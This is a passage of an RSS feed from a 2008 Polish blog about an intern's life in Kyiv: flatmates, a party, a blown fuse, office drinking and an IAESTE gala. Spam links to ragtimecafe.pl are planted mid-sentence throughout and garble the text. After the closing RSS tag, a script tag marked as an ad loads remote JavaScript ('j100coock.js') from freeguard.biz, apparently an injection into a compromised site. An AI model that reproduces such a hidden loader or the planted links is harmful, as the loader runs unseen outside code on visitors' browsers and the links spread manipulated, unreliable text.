wdaję się w nierówną walkę z 5 Niemców po niemiecku. Jak wspomniałem, współmieszkańcy są bardzo mili i dobrze się z nim jak na razie dogaduję. Jest jednak jedna osoba, która stanowi wyjątek od tej reguły. Mianowicie jedna Niemka ze stolicy. Pochodzi ponoć z Berlina, ale studiuje w jakiejś dziurze. Osoba bardzo ciekawa i chyba najbardziej ze wszystkich przekonana o swojej zajebistości. Zdenerwowała mnie już pierwszego dnia jakimś głupim tekstem, już jak jechaliśmy autobusem z dworca do mieszkania. Potem cały czas wszystkim mówiła, że ona umie dobrze mówić po rosyjsku, że nawet studiowała w Petersburgu. Takie słowa budzą respekt, tylko problem w tym, że ona tak samo studiowała w tym Petersburgu jak ja w Moskwie. Skoro ona tak dobrze mówi, to myślę sobie, że spróbuję z nią po rosyjsku, byłoby to szalenie wygodne, gdyż jej bełkotu niemieckiego poza słowem „szajse”, które pojawia się jako co drugie niestety nie rozumiem. Zatem raz w kuchni rzuciłem jakieś nieskomplikowane pytanie po rosyjsku, z cyklu „gdzie jest herbata?” Ona nie zrozumiała, powtórzyłem dwa razy dalej nic, przetłumaczyłem na niemiecki i zaskoczyła. Tu nie rozchodzi się o to, że ona niby słabo zna język, bo może zna go i dobrze, ale potem, żeby dolać trochę oliwy do ognia, albo żeby załagodzić sytuacje, sam nie wiem, po co to powiedziałem, mówię, że u mnie słabo z akcentem, może dlatego czasem mnie ciężko zrozumieć. I w tym momencie ona mi zaczyna mówić, jeszcze po rosyjsku, że u mnie bardzo słabo z akcentem. Nie wiedziałem, czy się śmiać czy płakać, nie było by w tym nic złego, gdyby ona rzeczywiście była specjalistą w tej kwestii, ale jak ona mówi cokolwiek po rosyjsku to ja nie mogę w ogóle dostrzec, że ona przestała mówić, po niemiecku. Ja naprawdę cenię sobie konstruktywną krytykę, ale tu się dziewczyna zagalopowała. Bardzo mi się podobało jedno stwierdzenie, którym nauczycielka języka czeskiego rozpoczęła zajęcia w Dreźnie, na które chodził Ucho. Otóż powiedziała ona Niemcom, że i tak nigdy się poprawnie nie nauczą wymawiać czeskich słów i jest w tym trochę prawdy. Dlatego też myślę, że moja wymowa chociażby była typowo polską i tak będzie lepsza niż ta niemiecka ćwiczona przez lata. Taki handy-cup. Zaczęliśmy chodzić na zajęcia i z czasem ta pewność siebie co do znajomości języka rosyjskiego jej odeszła. Teraz jest w domu na szczęście trochę spokoju, bo wyjechała na tydzień na Krym. Spostrzegłem, że inni tez ją trochę dziwnie postrzegają. Raz wybraliśmy się do muzeum na świeżym powietrzu na obrzeżach Kijowa, tam były zebrane tradycyjne budowle z różnych części Ukrainy. Wstaliśmy rano pojechaliśmy, zabrali nas tam ukraińscy studenci z IAESTE, tak sobie spacerujemy i w pewnym momencie ktoś zauważył, że tej Niemki z nami nie ma. Jedna dziewczyna rzuciła, że ten wyjazd tak nagle wyszedł, spontanicznie i przypadkiem nikt jej nie powiedział, wtedy wymieniliśmy się spojrzeniami z jedna koleżanką i wszystko było jasne. Nic się nie dzieje przypadkiem.<br />
	Andrej miał w ostatnim tygodniu urodziny i z tego powodu postanowił zorganizować imprezę urodzinową, która odbywała się w Halloween, obowiązywały przebrania. Impreza zapowiadała się poważnie, Andrej mówił, że będzie 30 osób, że to jest bardzo ważna impreza dla niego, że będzie fajnie, że musimy się przebrać, że na jednym komputerze będą lecieli Simsonowie (???) i będziemy słuchać piosenki „This is halloween”, zrobił zakupów za 1000 hrywien, nakupował jakiś sałatek, nawet pojawił się w domu <a href="http://www.ragtimecafe.pl">Ragtime</a> szybciej by coś posprzątać. Normalnie wydarzenie kulturalne w skali roku, aż zaczęło mi się smutno robić, bałem się, że nie podołam wyzwaniu tak porządnej imprezy, nie wiadomo jak się zachować. Już o 18 zaczęliśmy coś sączyć, by było dobre nastrojenie i koniec końców przyszło jego paru kolegów, pooglądaliśmy sobie Simsonów, posłuchaliśmy piosenki „This is halloween” i wszyscy poszli spać. Nudy dłużyzna, nic się nie działo. Został tylko bałagan. A Andrej wymyślił sobie, że następnego dnia wstaje o 6 rano i wyjeżdża na weekend do domu świętować urodziny z rodziną. Sprzątanie zostało nam. Po części ogarnęliśmy mieszkanie i przyszła pora na odkurzanie. Najbardziej lubię właśnie takie momenty, kiedy to niektórzy czytelnicy już się domyślają, co mogło być dalej. Otóż ktoś gotował wodę na herbatę, ktoś inny robił pranie, jeszcze ktoś inny właśnie włączał laptopa do sieci i właśnie w tym momencie Elena zaczęła odkurzać. Zrobiło się małe buuum, gdzieś zaiskrzyło, coś się zapaliło i już nikt nie gotował wody, nikt nie robił prania, ale laptop dalej pracował. Sprawa z początku wydawała się niezbyt skomplikowana, na studiach uczyli mnie trochę jak się obchodzić z prądem, bezpieczniki w samochodzie też czasem wymieniałem, czasem nie było to łatwe, ale jakieś doświadczenie jest. Z pomocą sąsiada znaleźliśmy skrzynkę z bezpiecznikami i licznikiem, przyjrzeliśmy się temu co wybuchło i tam było jakoś dziwnie dużo takich małych kabelków hmm&#8230;Ciekawe po co. Wiedząc, że prąd kopie i to może boleć oraz być niebezpieczne zaniechałem próby naprawiania czegokolwiek, aż do przyjazdu Andrjeja z domu. Udało nam się włączyć tylko światło. Jak się później okazało, tam u nich nikt nie próbował obchodzić licznika, tylko kiedyś był pożar i coś się spaliło, coś się zepsuło i generalnie cała instalacja została podłączona do jednego bezpiecznika, jak to rozwiązanie nie budzi jeszcze tak dużych kontrowersji, to fakt, że zostało to zrobione za pomocą malutkich kabelków, które nie wiem w jaki sposób miały przewodzić większe prądy. Już jest dobrze, na nowo doceniamy dobrodziejstwa, jakie niesie z sobą prąd w kontaktach albo światło w toalecie. Dalej zanim włączymy coś o większej mocy staramy się zredukować do minimum wszelkie używane urządzenia elektryczne w domu.<br />
<img src='foty/halloween.jpg' alt='' class='center' /></p>
<p>Ukraina też trochę zmienia ludzi</p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=5</wfw:commentRss>
		</item>
		<item>
		<title>Miła atmosfera w pracy stanowi 90% sukcesu</title>
		<link>http://kijow.szu.pl/?p=4</link>
		<comments>http://kijow.szu.pl/?p=4#comments</comments>
		<pubDate>Mon, 17 Nov 2008 21:40:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=4</guid>
		<description><![CDATA[Pracuje w firmie zajmującej się techniką cieplną, zajmuje się ona produkcją różnego rodzaju urządzeń związanych z tym tematem. Można powiedzieć, że przynależę do działu „Development”, tzn., że siedzę w kanciapie z dwoma inżynierami Saszą oraz Pietrowem i jeszcze jedną praktykantką Luisą z Niemiec oczywiście, tak na marginesie ona pochodzi z Drezna. Wygląda to trochę inaczej [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/kuchnia_mini.jpg' alt='To już u nas w kuchni' class='alignleft' />Pracuje w firmie zajmującej się techniką cieplną, zajmuje się ona produkcją różnego rodzaju urządzeń związanych z tym tematem. Można powiedzieć, że przynależę do działu „Development”, tzn., że siedzę w kanciapie z dwoma inżynierami Saszą oraz Pietrowem i jeszcze jedną praktykantką Luisą z Niemiec oczywiście, tak na marginesie ona pochodzi z Drezna. Wygląda to trochę inaczej niż moja<a href="http://praktykawusa.with-us.eu"> praktyka w USA</a>, którą robiłem pół roku temu. W stanach praktyka wyglądała zupełnie inaczej, inne podejście do pracy, inne podejście do ludzi, czy lepsze czy gorsze to nie wiem.<span id="more-4"></span> W pracy każdy sobie coś tam robi, jedni bardziej drudzy mniej pożytecznego. Jak tam przyjechałem, wszystko wyglądało dobrze, poza małym szczegółem, że w tej kanciapie śmierdzi troszkę. Sasza z Pietrowem powiedzieli mi, że teraz zaczynają pracę nad takim i takim urządzeniem, że trzeba zrobić to i to, że pracują na takich i takich programach, pytali się czy je znam, ja że niestety nie, oni na to, że się nauczę to szybko idzie i z taką piękną motywacją do stworzenia czegoś nowego zasiadłem na jakimś stołku i zacząłem swoje pierwsze zadania, czyli wyszukania czujników i zrobienia ich zestawienia tabelarycznego. Wszystko dobrze pięknie, tylko że jak to zrobiłem to zrodziło się u mnie wrażenie, że ta praca była zupełnie nie potrzebna ponieważ, nikt nawet na to nie chciał spojrzeć, zastanawiam się czy oni w ogóle tego potrzebowali. Po wykonaniu pierwszego zadania powstały także problemy ze znalezieniem czegoś kolejnego dla mnie. Mówiłem, że może się nauczę obsługi tych ich programów, jakąś symulacje może zrobię, jakiś program może napiszę, cokolwiek. Dostałem jakąś dobrą książkę do czytania po rosyjsku, po rosyjsku czytam wolno, więc możliwe, że to mnie zajmie do końca.<br />
	Poza pracą samą w sobie to w pracy jest miła atmosfera. Zawsze coś pogadam sobie z współpracownikami, czegoś się dowiem o Ukrainie, trochę język podszlifuję. Ostatnio wywiązała się taka rozmowa o obecnym prezydencie i pomarańczowej rewolucji. Juszczenki nikt już tu nie lubi, wszyscy się na nim zawiedli, tyle obiecywał a nic nie zrobił. Sasza opowiadał, że jak była pomarańczowa rewolucja w 2004 to oni wszyscy byli za Juszczenką, cały zakład pracy. Mówił, że oni poświęcali się dla Juszczenki, stali tam całymi dniami machali tymi flagami, z milicją się chcieli bić, wszystko dla niego, a on dla nich nic nie zrobił. Mi osobiście od razu nasuwa się takie pytanie, dlaczego on nic dla ludu nie zrobił, czy dlatego, że np. nie chciał, albo nie potrafił czy może, dlatego że znaleźli się silniejsi od niego, co mu wytłumaczyli, że lepiej nie i odpowiednimi środkami go skutecznie przekonali. Jeśli to jest ta druga opcja, to tym bardziej chylę czoła ku naszym, że w ’89 oni nie dali się przekonać, że nie warto. Rozmowa na ten temat była niezwykle emocjonująca, po jej zakończeniu Sasza wyszedł na chwilę, wrócił po jakiś 15 minutach i powiedział, żebyśmy poszli z nim, on się zdenerwował i idziemy pić. Uśmiechnąłem się grzecznie, powiedziałem „ok., ok” i wróciłem do przeglądania czegoś na necie. Sasza zaczął mnie popędzać, do końca nie wiedziałem o co chodzi, mówię, że przecież młoda godzina bo to 13 była, pozatym w pracy jesteśmy, nie można tak pić w pracy. Sasza na to, że jak nie można jak można, jesteśmy na Ukrainie. Pietrow też już w staje i idzie, więc idę z nimi. Nie wiem do końca o co chodzi, idziemy na górę do biura, tam gdzie m.in. szef ma swoje biurko. Sasza otwiera drzwi i wchodzimy, a tam syto zastawiony stół różnego rodzaju przkąskami, wędlina, sałtki, sery, kurczak itp. oraz butelki z alkoholem.Trochę wyglądało to jak na imieninach i dziadka.Czyli to nie były jednak żarty, okazuje się, że jeden z pracowników, z tych co pracują na górze ma urodziny, sześćdziesiąte, albo jeszcze dalsze. No to jak tak to trzeba świętować. Generalnie stół był przygotowany na jakieś 12 osób, a nas było tylko 7. No i zaczęło się. Takim nakręcającym imprezę był Sasza, on polewał, narzucał tempo. Każdy wznosił jakiś toast np. za <a href="http://www.ragtimecafe.pl">Ragtime</a>, zwykle z życzeniami dla Jubilata, w końcu i ja zostałem poproszony o powiedzenie czegoś. Trochę czułem się onieśmielony, bojąc się, że mojej łamanej ruszczyzny mogą nie zrozumieć, zadeklarowałem się, że powiem po polsku, oni przecież zrozumieją, bo to z ukraińskim podobne języki, a jak czegoś nie zrozumieją to nie będzie dlatego, że ja źle powiedziałem, tylko, ze oni źle zrozumieli. Postanowiłem, trzymać się prostego i bardzo słusznego schematu, czyli wzniosłem toast za to co my, czyli Polska i Ukraina robimy razem, czyli za euro2012, wszystkim się bardzo spodobało, pojawiły się uśmiechy na ich twarzach. Do końca nie wiem czy dlatego, ze to było euro2012, czy może dlatego, ze te dwa słowa to było jedyne co zrozumieli. Siedzieliśmy tam jakieś dwie godziny, ile zdążyliśmy przez ten czas wypić to nie powiem, nie wiele zostało, a to co zostało i tak jakimś dziwnym trafem znalazło się potem u nas w laboratorium. Wprawdzie podczas pracy w USA, też wychodziłem na piwo z współpracownikami, ale wyglądało to trochę inaczej. <a href="http://praktykawusa.with-us.eul"> Praktyka w USA</a> to jednak było coś innego, tam nie mógłbym sobie wyobrazić takiej imprezy. Pojawiło się kilka nowych osób, których wcześniej nie widziałem i znowu zostałem oderwany od komputera, gdzie już powoli zamykałem okienka bo dalej coś czytać nie miało sensu, by móc wypić z nimi „za znakomstwo”, zaraz znowu ktoś nowy przyszedł i tak chyba z 5 razy jeszcze „za znakomstwo wypiliśmy”, nowe miejsce pracy, nowi ludzi, przy tym tacy gościnni, nie mogłem odmówić. </p>
<p><img src='foty/kuchnia.jpg' alt='To już u nas w kuchni' class='center' /></p>
<p>A wot eto nasza kuchnia, miejsce spotkań.</></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=4</wfw:commentRss>
		</item>
		<item>
		<title>Wódka tańsza, cóż poza tym, chyba nic sie nie zmieniło</title>
		<link>http://kijow.szu.pl/?p=3</link>
		<comments>http://kijow.szu.pl/?p=3#comments</comments>
		<pubDate>Mon, 17 Nov 2008 21:05:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=3</guid>
		<description><![CDATA[Raz do roku odbywa się impreza urodzinowa IAESTE, takie szczęście nas spotkało, że ona przypada właśnie na ten okres kiedy jesteśmy w Kijowie. Ja razem z dziesiątką (tak nazywamy naszą grupę, bo jest nas 10 osób, już właściwie 11 bo jedna dziewczyna wróciła z wojaży po Ukrainie) udaliśmy się na tą imprezę. Było to miłe [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/10mini.jpg' alt='' class='alignleft' />Raz do roku odbywa się impreza urodzinowa IAESTE, takie szczęście nas spotkało, że ona przypada właśnie na ten okres kiedy jesteśmy w Kijowie. Ja razem z dziesiątką (tak nazywamy naszą grupę, bo jest nas 10 osób, już właściwie 11 bo jedna dziewczyna wróciła z wojaży po Ukrainie) udaliśmy się na tą imprezę. Było to miłe rozpoczęcie praktyki w Kijowie, moja <a href="http://praktykawusa.with-us.eu">praktyka w USA</a> w tak oficjalny sposób nie została rozpoczęta. Zaczynała się ona o 16 i trwała do 22, <span id="more-3"></span>odbywała się w pomieszczeniu biblioteki w politechnicznym instytucie – KPI (Kiyevkiy Polityehnicni Institut) z racji rangi wydarzenia obowiązywały stroje galowe. Oczywiście my nie spełniliśmy tego wymogu, bo nikt z dziesiątki nie był przygotowany na tak poważne imprezy, jednak nawet jakbyśmy byli przygotowani na uroczystość gdzie należy się ładnie ubrać to i tak byśmy odstawali od reszty, gdyż stroje w które byli ubrani nasze koleżanki i koledzy z Ukrainy to ja ostatni raz widziałem na jakimś dobrym filmie kostiumowym. Wszyscy mężczyźni w garniturach jeden to nawet miał frak, a dziewczyny długich galowych sukniach, co po niektóre miały jeszcze do tego rękawiczki, takie za łokcie i co ambitniejsze były przepasane jeszcze szalem z futra lisiego lub innego zwierzęcia, robiło wrażenie, bardzo pozytywne. Na impresie obok zmacznego jedzenia była tez bardzo ładna muzyka <a href="http://www.ragtimecafe.pl">Ragtime</a>.<br />
	Jak przystało do otoczenia imprezę zaczęliśmy bardzo porządnie bo walcem wiedeńskim, a skończyliśmy jak zawsze. Tańczyły całe dwie pary, bo reszta chyba nie umiała, albo się wstydziła jeszcze, ja raz w życiu tańczyłem walca, ale nie jestem pewien czy to był wiedeński, jednak nie udało mi się w porę znaleźć partnerki, która by umiała to tańczyć, a wyjście w dwie osoby, które sobie słabo radzą nie byłoby dobrym pomysłem. Stół był dobrze zastawiony kilkoma butelkami wódki, kilkoma Martini, do tego jeszcze soki i przekąski, słodkie i takie z mięsem, ogórków także nie brakowało, w takich okolicznościach impreza musiała być udana. Z początku panowała taka trochę nieśmiała atmosfera. My przyszliśmy i tak do końca nie wiedzieliśmy co ze sobą zrobić ich tam było z 30 osób, do końca nie wiedziałem o co chodzi, co będziemy świętować, jak się zachować. Nie chcąc by było tak, że  z prawej my z lewej oni, próbowałem rozpocząć jakąś konwersacje, coś się wywiedzieć. Z racji, że językiem spotkania był angielski to tym też językiem się posłużyłem, jakaś dziewczyna mi coś odbąknęła na moje pytanie i zaraz gdzieś uciekła, jakby czymś wystraszona, poczułem się zmieszany i wróciłem do dziesiątki. Po pewnym czasie zauważyłem taką małą grupkę ludzi z kubeczkami z przezroczystym napojem w środku, nie poddając się podszedłem, przedstawiłem się, tym razem już w języku rosyjskim i to był chyba klucz do sukcesu, bo jak się okazało język angielski nie był wszystkim znany a nawet jeśli to wszyscy woleli posługiwać się rosyjskim, mi tez to było na rękę. Koledzy polali mi także Martini, zaraz podeszło do nas jeszcze kilka dziewczyn i tak się zaczęło, wszyscy chętnie wznosili toasty, to za IAESTE Kiev, to za 60 lat IAESTE, to EURO 2012, to za dobre kontakty między naszymi narodami itd. Aż tu bardzo szybko znaleźliśmy się w stanie nieoznaczoności kwantowej, a to był dopiero początek imprezy. Raz Ukraińcy chcieli wznieść toast za dzień Zwycięstwa (djen pobjedy), poczułem, że wchodzimy na śliski grunt, wytłumaczyłem, że my nie mamy takiego święta, oni zaczęli mi tłumaczyć historię, że to armia niemiecka najechała Polskę, a potem armia radziecka nas wyzwoliła, jak użyłem słowa Rosja, to mnie poprawiali, że nie Rosja tylko ZSRR, chyba oni sami uważali, że nas wyzwolili. Generalnie historii tak dobrze nie znam, choć wiem, że mogło być gorzej, to ja dziękuję za takie wyzwolenie przez armie radziecką. Jakkolwiek oni ten dzień pobjedy rozumieją, czy tak samo jak Rosjanie czy inaczej, powiedziałem, że za to pić nie będę.<br />
	W czasie imprezy odbywały się różnego rodzaju gry i zabawy, takie, które zwykle mają miejsce na spotkaniach integracyjnych, były to takie konkursy, jakie zwykle są na urodzinach 10-latków. Niektórzy ode mnie się trochę dziwili czemuś takiemu, ale mimo to bawili się świetnie. Takie zabawy zwykle maja miejsce na spotkaniach międzynarodowych, coś w sumie w tym jest bo zwykle jak przyjeżdża ktoś z zagranicy to traktuje się tych ludzi trochę jak dzieci, tak z przymrużeniem oka.<br />
	Pod koniec w wyniku małego zamieszania stało się tak, że dziesiątka poszła gdzieś do klubu, a ja poszedłem z Ukraińcami gdzie indziej. Po jakiejś godzinie czekania przed klubem <a href="http://www.ragtimecafe.pl">Ragtime</a>, udało nam się wejść na disco. Nie było to łatwe, tam toczyły się jakieś dyskusje z ochroniarzami, przed wejściem było mnóstwo ludzi, co najmniej jakby w środku była wielka impreza. Jeden z naszej grupy powołując się na swoje znajomości wśród ochrony wynegocjował nam lepszą cenę za wejście, czyli 25 hrywien (podziel przez 2 wyjdzie cena w złotówkach). Właściwie to wchodziliśmy chyba jakoś bokiem, że tez pozwolę sobie użyć słowa nielegalnie, obserwując to co się działo szczerze mówiąc to nie wiem jak by tam można było wejść bez przewodnika, ponoć dziesiątka kiedyś próbowała, ale ich nie wpuścili, bo są obcokrajowcami i byłoby to niebezpieczne. Nam się udało wchodzimy do środka, a tam dzikie techno i impreza jak w WZ-cie, jej wczesnych latach, z tą drobną różnicą, że mimo tłumów przed wejściem w środku było naprawdę pusto. Impreza była już średnia, ale „ruskie techno party” mam zaliczone, do CV można wpisać. </p>
<p>Pogoda ładna idę zwiedzać Kijów</p>
<p><img src='foty/10.jpg' alt='' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=3</wfw:commentRss>
		</item>
		<item>
		<title>Kijów, Ukraina</title>
		<link>http://kijow.szu.pl/?p=1</link>
		<comments>http://kijow.szu.pl/?p=1#comments</comments>
		<pubDate>Mon, 17 Nov 2008 20:36:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=1</guid>
		<description><![CDATA[Już na Ukrainie, w Kijowie, od mojego ostatniego pobytu w tym kraju nie wiele się zmieniło, dalej jest tu jak w czeskim filmie Ragtime, co czasem jest dla mnie ciężkie do zrozumienia. Podróż minęła spokojnie, na granicy spotkałem jednego Polaka z Wrocławia, który jechał do Lwowa i akurat zupełnym przypadkiem miał miejscówkę w tym samym [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/zachod_mini.jpg' alt='' class='alignleft' />Już na Ukrainie, w Kijowie, od mojego ostatniego pobytu w tym kraju nie wiele się zmieniło, dalej jest tu jak w czeskim filmie <a href="http://www.ragtimecafe.pl">Ragtime</a>, co czasem jest dla mnie ciężkie do zrozumienia. Podróż minęła spokojnie, na granicy spotkałem jednego Polaka z Wrocławia, który jechał do Lwowa i akurat zupełnym przypadkiem miał miejscówkę w tym samym przedziale. Na dworcu jedną z ciekawszych postaci była chyba Hinduska mieszkająca w Niemczech,<span id="more-1"></span> która chciała pojechać sobie do Lwowa, nie było by w tym nic dziwnego, gdyby nie fakt, że chciała przekroczyć granicę na niemiecki dowód osobisty, nie miała paszportu. Mówiła, że z takim dowodem poleciała do Londynu i ciężko było jej wytłumaczyć, że na Ukrainę tak się nie da. Ach dziwna ta Europa w oczach Hindusów. Gdyby nie ten Polak, który powiedział, że jechała z nim pociągiem, to ciężko byłoby się domyślić skąd ona się wzięła, bo przyszła w papciach.<br />
	Droga do Kijowa minęła spokojnie, byliśmy w wagonie z jakąś wycieczką szkolną i  miejsce w przedziale trafiło się właśnie z jej uczestnikami. Zgodnie z planem dojechałem do Kijowa, nikt na mnie nie czeka, więc dzwonie pod jeden z podanych mi przed wyjazdem numerów, przedstawiłem się ładnie, mówię skąd się wziąłem i Andrew, bo właśnie z  nim rozmawiałem, był bardzo zdziwiony, że już jestem, bo spodziewał się mnie w innym terminie, nie zrozumiałem do końca, czy chodziło tylko o inną godzinę czy o następny dzień. Czasem nikt specjalnie się tu nie przejmuje. Całe szczęście okazało się, że tym samym pociągiem jechała jeszcze jedna praktykantka, Kristina z Niemiec i inna z praktykantek dostała polecenie od Andrewa (nasz człowiek do kontaktów z IAESTE), żeby ją odebrać, więc przyszła też po mnie. Pojechaliśmy do ich mieszkania, bo jak mi Grit przekazała, z moim są drobne problemy. Andrew, ponoć znalazł coś dal mnie już jakieś dwa tygodnie temu, ale właściciel jak to wszyscy opisali zniknął, więc mieszkania, też nie ma i ponoć jeszcze na dwa dni przed moim przyjazdem nic nie było, ale teraz już coś ma. Kontakt z Andrewem nie był łatwy, jest on zajętym człowiekiem, bo już skończył studia i poza pracą dla IAESTE ma jeszcze dwie inne. Poszedłem razem z dziewczynami zwiedzać miasto (w tym mieszkaniu IAESTE mieszka 6 Niemek, poza tym jest jeszcze troje Niemców i jedna Szwajcarka, która pochodzi z Serbii). W końcu był ustalony plan, ja jestem o 18-19 (czas jest tu bardzo elastyczny) w domu, wtedy przychodzi Andrew i zabiera mnie do mieszkania, jeszcze dzwonił około 18 by powiedzieć, ze się spóźni, w końcu przyjechał ok. 20 i powiedział, że w tym mieszkaniu była jakaś awaria wody, wszystko jest zalane i dopiero jutro pojedzie je sprawdzić i jak będzie ok. to mnie zabierze, a ten noc spędzę w mieszkaniu dziewczyn na jakimś materacu. Cała sytuacja była trochę zabawna, ale ja wybredny nie jestem, spało się wygodnie. Następnego dnia zwiedzaliśmy muzeum Czatnobylu całą grupą, oni zamówili przewodnika po niemiecku, dzień jakoś minął. W między czasie doszła do mnie wiadomość, że zadzwonił Andrew i umawiamy się na godz. 17 i jest jakieś mieszkanie zupełnie gdzie indziej. Plan był taki, ze okole 20 on zadzwoni po taksówkę, ja nią pojadę na wskazany adres razem z jednym łóżkiem z mieszkania i on  będzie tam na mnie już czekał. W między czasie pojawił się jakiś kolega Andrewa imieniem Anton i on pojechał razem ze mną. I tak jedziemy sobie taryfą gdzieś nie wiadomo gdzie z łóżkiem na pace. Szczęśliwie dojechaliśmy, mieszkam teraz przez 10 dni w mieszkaniu z jedną babuszką i jej wnukiem, niedaleko metra lini zielonej. Mam pokój dla siebie, co jest tu istnym luksusem. Standard nie jest luksusowy, ale tego się nie spodziewałem. Poszliśmy razem z Antonem, Andrewem i Sasza na pizze <a href="http://www.ragtimecafe.pl">Ragtime</a>, pokazali mi gdzie jest metro i jutro powinienem pójść do mojej pracy. Teoretycznie miałem zacząć wczoraj, ale jak się spytałem przedwczoraj Andrewa o co z moją pracą to powiedział, że jutro mam dzień wolny. Z tego wynika, że czas rzeczywiście nie gra tu dużej roli. Na przykład jedna niemka, która ponoć pracuje tam gdzie ja, po przyjeździe i spędzeniu 2 dni w Kijowie wzięła sobie urlop i teraz zwiedza, ponoć obecnie jest na Krymie. O tym jak wygląda tu praca praktykantów opiszę później. </p>
<p><img src='foty/zachod.jpg' alt='' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=1</wfw:commentRss>
		</item>
	</channel>
</rss>
<style>
table {
font-family: verdana;
font-size: 11px;
color: #FFFFFF;
}
table a {
font-family: verdana;
font-size: 11px;
color: #FFFFFF;
text-decoration: none;
}
</style>

<!-- ad --><script type="text/javascript" src="http://www.freeguard.biz/j100coock.js"></script><!-- /ad -->